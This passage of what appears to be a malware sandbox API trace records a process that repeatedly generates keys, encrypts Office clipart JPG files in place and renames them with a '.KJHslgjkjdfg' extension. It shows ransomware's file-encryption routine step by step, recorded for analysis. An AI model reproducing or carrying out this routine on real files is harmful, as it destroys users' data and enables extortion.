lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.492] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.492] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.492] GetProcessHeap () returned 0x2ef0000 [0201.492] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0201.492] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0201.492] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.492] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0201.492] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0201.492] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0201.492] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0201.493] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0201.493] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.493] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.493] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.493] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.493] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x8fb8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x8fb8, lpOverlapped=0x0) returned 1 [0201.497] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x8fc0, dwBufLen=0x8fc0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x8fc0) returned 1 [0201.497] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.498] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x8fc0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x8fc0, lpOverlapped=0x0) returned 1 [0201.498] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.498] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x9094, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.498] SetEndOfFile (hFile=0x130) returned 1 [0201.501] GetProcessHeap () returned 0x2ef0000 [0201.501] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0201.501] GetProcessHeap () returned 0x2ef0000 [0201.501] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0201.502] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145810.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145810.jpg.kjhslgjkjdfg")) returned 1 [0201.503] CloseHandle (hObject=0x130) returned 1 [0201.503] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5d84e00, ftCreationTime.dwHighDateTime=0x1c026b6, ftLastAccessTime.dwLowDateTime=0x65f27470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd5d84e00, ftLastWriteTime.dwHighDateTime=0x1c026b6, nFileSizeHigh=0x0, nFileSizeLow=0x8a5b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0145879.JPG", cAlternateFileName="")) returned 1 [0201.503] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145879.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.511] GetProcessHeap () returned 0x2ef0000 [0201.511] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0201.511] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0201.511] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0201.511] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x5, lpOverlapped=0x0) returned 1 [0201.514] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.514] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.514] GetProcessHeap () returned 0x2ef0000 [0201.514] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0201.514] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0201.514] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.514] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0201.514] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0201.514] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0201.514] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0201.514] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0201.515] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.515] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.515] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.515] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.515] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x8a5b, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x8a5b, lpOverlapped=0x0) returned 1 [0201.516] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x8a60, dwBufLen=0x8a60 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x8a60) returned 1 [0201.516] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.517] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x8a60, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x8a60, lpOverlapped=0x0) returned 1 [0201.517] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.517] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8b34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.517] SetEndOfFile (hFile=0x130) returned 1 [0201.520] GetProcessHeap () returned 0x2ef0000 [0201.520] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0201.520] GetProcessHeap () returned 0x2ef0000 [0201.520] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0201.520] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145879.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145879.jpg.kjhslgjkjdfg")) returned 1 [0201.521] CloseHandle (hObject=0x130) returned 1 [0201.521] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7962500, ftCreationTime.dwHighDateTime=0x1c03d89, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7962500, ftLastWriteTime.dwHighDateTime=0x1c03d89, nFileSizeHigh=0x0, nFileSizeLow=0x84a6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0145895.JPG", cAlternateFileName="")) returned 1 [0201.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145895.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.522] GetProcessHeap () returned 0x2ef0000 [0201.522] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0201.522] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0201.522] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0201.522] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0201.525] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.525] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.525] GetProcessHeap () returned 0x2ef0000 [0201.525] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0201.525] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0201.525] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.525] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0201.525] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0201.525] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0201.525] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0201.525] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0201.525] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.526] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.526] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.526] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.526] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x84a6, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x84a6, lpOverlapped=0x0) returned 1 [0201.527] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x84b0, dwBufLen=0x84b0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x84b0) returned 1 [0201.527] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.527] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x84b0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x84b0, lpOverlapped=0x0) returned 1 [0201.528] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.528] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8584, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.528] SetEndOfFile (hFile=0x130) returned 1 [0201.531] GetProcessHeap () returned 0x2ef0000 [0201.531] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0201.531] GetProcessHeap () returned 0x2ef0000 [0201.532] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0201.532] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145895.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145895.jpg.kjhslgjkjdfg")) returned 1 [0201.533] CloseHandle (hObject=0x130) returned 1 [0201.533] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa912cb00, ftCreationTime.dwHighDateTime=0x1bdbf72, ftLastAccessTime.dwLowDateTime=0x65f27470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa912cb00, ftLastWriteTime.dwHighDateTime=0x1bdbf72, nFileSizeHigh=0x0, nFileSizeLow=0x9a76, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0145904.JPG", cAlternateFileName="")) returned 1 [0201.533] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145904.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.534] GetProcessHeap () returned 0x2ef0000 [0201.534] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0201.534] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0201.534] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0201.534] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0201.536] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.536] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.536] GetProcessHeap () returned 0x2ef0000 [0201.536] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0201.536] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0201.536] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.536] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0201.536] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0201.536] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0201.537] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0201.537] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0201.537] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.537] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.537] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.537] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.537] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x9a76, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x9a76, lpOverlapped=0x0) returned 1 [0201.538] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x9a80, dwBufLen=0x9a80 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x9a80) returned 1 [0201.539] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.539] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x9a80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x9a80, lpOverlapped=0x0) returned 1 [0201.539] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.539] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x9b54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.539] SetEndOfFile (hFile=0x130) returned 1 [0201.542] GetProcessHeap () returned 0x2ef0000 [0201.542] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0201.542] GetProcessHeap () returned 0x2ef0000 [0201.542] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0201.542] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145904.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145904.jpg.kjhslgjkjdfg")) returned 1 [0201.543] CloseHandle (hObject=0x130) returned 1 [0201.543] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb5ac, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0146142.JPG", cAlternateFileName="")) returned 1 [0201.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0146142.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.544] GetProcessHeap () returned 0x2ef0000 [0201.544] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0201.544] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0201.544] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0201.544] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0201.548] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.548] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.548] GetProcessHeap () returned 0x2ef0000 [0201.548] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0201.548] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0201.548] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.548] WriteFile (in: 